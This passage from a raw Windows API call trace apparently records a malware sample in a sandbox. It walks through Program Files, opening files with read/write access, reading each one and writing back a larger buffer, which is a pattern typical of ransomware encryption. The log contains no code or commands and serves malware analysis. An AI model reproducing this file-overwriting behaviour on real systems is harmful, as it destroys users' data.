Files\\MSBuild\\far.exe" (normalized: "c:\\program files\\msbuild\\far.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0042.827] GetFullPathNameW (in: lpFileName="C:\\Program Files\\MSBuild\\far.exe", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files\\MSBuild\\far.exe", lpFilePart=0x304f690*="far.exe") returned 0x20 [0042.827] GetLastError () returned 0x20 [0042.827] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̄폈H̄퐔H̄L̄꤀Ǧ\x01") returned 0x51 [0043.014] LocalFree (hMem=0x70da60) returned 0x0 [0043.014] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.014] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0043.014] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0043.014] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0043.014] GetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\far.exe" (normalized: "c:\\program files\\msbuild\\far.exe")) returned 0x20 [0043.014] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui" (normalized: "c:\\program files\\windows journal\\en-us\\mspvwctl.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.015] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui", lpFilePart=0x304f690*="MSPVWCTL.DLL.mui") returned 0x37 [0043.015] GetLastError () returned 0x5 [0043.015] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̄폈H̄퐔H̄L̄꤀Ǧ\x01") returned 0x13 [0043.015] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.015] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.015] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0043.015] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0043.015] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0043.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui" (normalized: "c:\\program files\\windows journal\\en-us\\mspvwctl.dll.mui")) returned 0x20 [0043.015] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.018] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp", lpFilePart=0x304f690*="Graph.jtp") returned 0x34 [0043.018] GetLastError () returned 0x5 [0043.018] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̄폈H̄퐔H̄L̄꤀Ǧ\x01") returned 0x13 [0043.018] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.018] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.018] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0043.018] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0043.018] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0043.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp" (normalized: "c:\\program files\\windows journal\\templates\\graph.jtp")) returned 0x20 [0043.018] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files\\windows mail\\en-us\\winmail.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui", lpFilePart=0x304f690*="WinMail.exe.mui") returned 0x33 [0043.019] GetLastError () returned 0x5 [0043.019] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̄폈H̄퐔H̄L̄꤀Ǧ\x01") returned 0x13 [0043.019] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.019] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.019] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0043.019] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0043.019] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0043.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files\\windows mail\\en-us\\winmail.exe.mui")) returned 0x20 [0043.019] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\totalcmd.exe" (normalized: "c:\\program files\\windows photo viewer\\totalcmd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\totalcmd.exe", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files\\Windows Photo Viewer\\totalcmd.exe", lpFilePart=0x304f690*="totalcmd.exe") returned 0x32 [0043.019] GetLastError () returned 0x20 [0043.019] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̄폈H̄퐔H̄L̄꤀Ǧ\x01") returned 0x51 [0043.020] LocalFree (hMem=0x70da60) returned 0x0 [0043.020] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.020] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0043.020] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0043.020] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0043.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\totalcmd.exe" (normalized: "c:\\program files\\windows photo viewer\\totalcmd.exe")) returned 0x20 [0043.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leggimi.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.020] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.020] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4289 [0043.021] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.021] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.021] ReleaseMutex (hMutex=0x128) returned 1 [0043.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leggimi.htm", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Leggimi.htm", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Leggimi.htm", lpUsedDefaultChar=0x0) returned 11 [0043.021] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.023] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3289 [0043.024] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0043.027] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3289 [0043.027] WriteFile (in: hFile=0x170, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0043.028] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0043.028] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0043.028] CloseHandle (hObject=0x170) returned 1 [0043.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Adobe.Reader.Dependencies.manifest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobe.reader.dependencies.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.029] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.029] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x5c0 [0043.029] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.029] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.029] ReleaseMutex (hMutex=0x128) returned 1 [0043.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe.Reader.Dependencies.manifest", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0043.029] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe.Reader.Dependencies.manifest", cchWideChar=34, lpMultiByteStr=0x1eb2084, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe.Reader.Dependencies.manifest", lpUsedDefaultChar=0x0) returned 34 [0043.029] ReadFile (in: hFile=0x170, lpBuffer=0x1dfc728, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfc728*, lpNumberOfBytesRead=0x304f2bc*=0x5c0, lpOverlapped=0x0) returned 1 [0043.032] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.032] WriteFile (in: hFile=0x170, lpBuffer=0x2720078*, nNumberOfBytesToWrite=0xb48, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2720078*, lpNumberOfBytesWritten=0x304f2d0*=0xb48, lpOverlapped=0x0) returned 1 [0043.032] CloseHandle (hObject=0x170) returned 1 [0043.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.033] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.033] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1e00 [0043.033] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.033] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.033] ReleaseMutex (hMutex=0x128) returned 1 [0043.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.EUQ", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.EUQ", lpUsedDefaultChar=0x0) returned 11 [0043.033] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0043.040] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.040] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0043.041] CloseHandle (hObject=0x170) returned 1 [0043.041] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.041] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.041] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1e00 [0043.041] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.042] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.042] ReleaseMutex (hMutex=0x128) returned 1 [0043.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x1e631cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.PTB", lpUsedDefaultChar=0x0) returned 11 [0043.042] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0043.044] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.044] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0043.047] CloseHandle (hObject=0x170) returned 1 [0043.047] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.048] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.048] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1e00 [0043.048] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.048] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.048] ReleaseMutex (hMutex=0x128) returned 1 [0043.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHS", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHS", lpUsedDefaultChar=0x0) returned 11 [0043.048] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0043.051] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.051] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0043.052] CloseHandle (hObject=0x170) returned 1 [0043.052] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.053] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.053] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1e00 [0043.053] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.054] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.054] ReleaseMutex (hMutex=0x128) returned 1 [0043.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.ITA", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.ITA", lpUsedDefaultChar=0x0) returned 11 [0043.054] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0043.055] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.055] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0043.056] CloseHandle (hObject=0x170) returned 1 [0043.056] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.057] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.057] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1e00 [0043.057] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0043.057] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0043.057] ReleaseMutex (hMutex=0x128) returned 1 [0043.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0043.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SLV", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SLV", lpUsedDefaultChar=0x0) returned 11 [0043.057] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0043.059] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0043.059] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0043.060] CloseHandle (hObject=0x170) returned 1 [0043.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\eula.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0043.061] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 